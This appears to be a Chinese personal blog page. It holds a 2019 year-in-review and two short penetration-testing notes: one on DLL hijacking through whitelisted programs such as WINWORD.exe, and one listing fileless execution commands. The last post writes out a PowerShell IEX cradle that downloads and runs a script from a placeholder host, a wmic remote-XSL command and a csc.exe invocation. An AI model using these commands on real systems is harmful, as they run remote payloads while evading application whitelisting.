2019 年度总结

回首2019 1/1,仿佛就在昨日一般。
感觉时光飞逝。
看了看博客的日志,我才发现,“卧槽?原来这是今年的事情了吗?我还以为这是去年或者前年的了”
总体来说,2019,算是 技术飞跃的一年
2019大事记

  • 博客改用https
  • 开始使用github
  • golang/c/cpp 水平指数级提高
  • 日zh*n水平指数级提高
  • 写出第一首完整的曲子
  • 乐理 ++
  • 专业水平(竹笛)++
  • ero后端填坑完毕,初步步入正轨

以上就是2019干的一些小事情啦。
当然还有很多是没有达到预期的。
比如说

  • ML(高数是真的学不来
  • ERO还是没整活
  • 钢琴水平提升并不高

总体来说,2019就这么过去了。
感觉上一个念头还在想着,成年了该咋样呢,结果成年了,世界也并没有什么改变,不如说一晃眼 ,都成年两年了。
再过几个月,我也是要步入2字头的人了啊,哎

感觉自己还是很菜,越学越菜,但是我越想学。

感觉自己文笔变差了。是不中二了吗?感觉没之前写的好了,

既然这样,那就先这样吧。

Tags: 随笔

DLL劫持的白利用加载

学到了一个新的技巧。
和lpk.dll类似,有些文件会自动加载目录下面的dll。
并且这些文件是经过授权且加入白名单的程序。
例如WINWORD.exe。
其他的待收集,只是记录一下

Tags: 渗透

浅谈windows下的白文件利用

最基础的就是windows自带服务
例如RDP。telnet。等等
之后再比如powershell:

powershell.exe -nop -whidden -c IEX ((new-objectnet.webclient).downloadstring('http://x.x.x.x:81/aa'))

wmic.exe:

cmd/c wmic os get /format:"\\x.x.x.x\1.xsl"&start/wait notepad

csc.exe:

"C:/Windows/Microsoft.NET/Framework64/v2.0.50727/csc.exe" /noconfig /fullpaths @"C:/Users/a/AppData/Local/Temp/l1xso2zu.cmdline"

等无落地方式执行

Tags: none
文章总数:200篇 分类总数:4个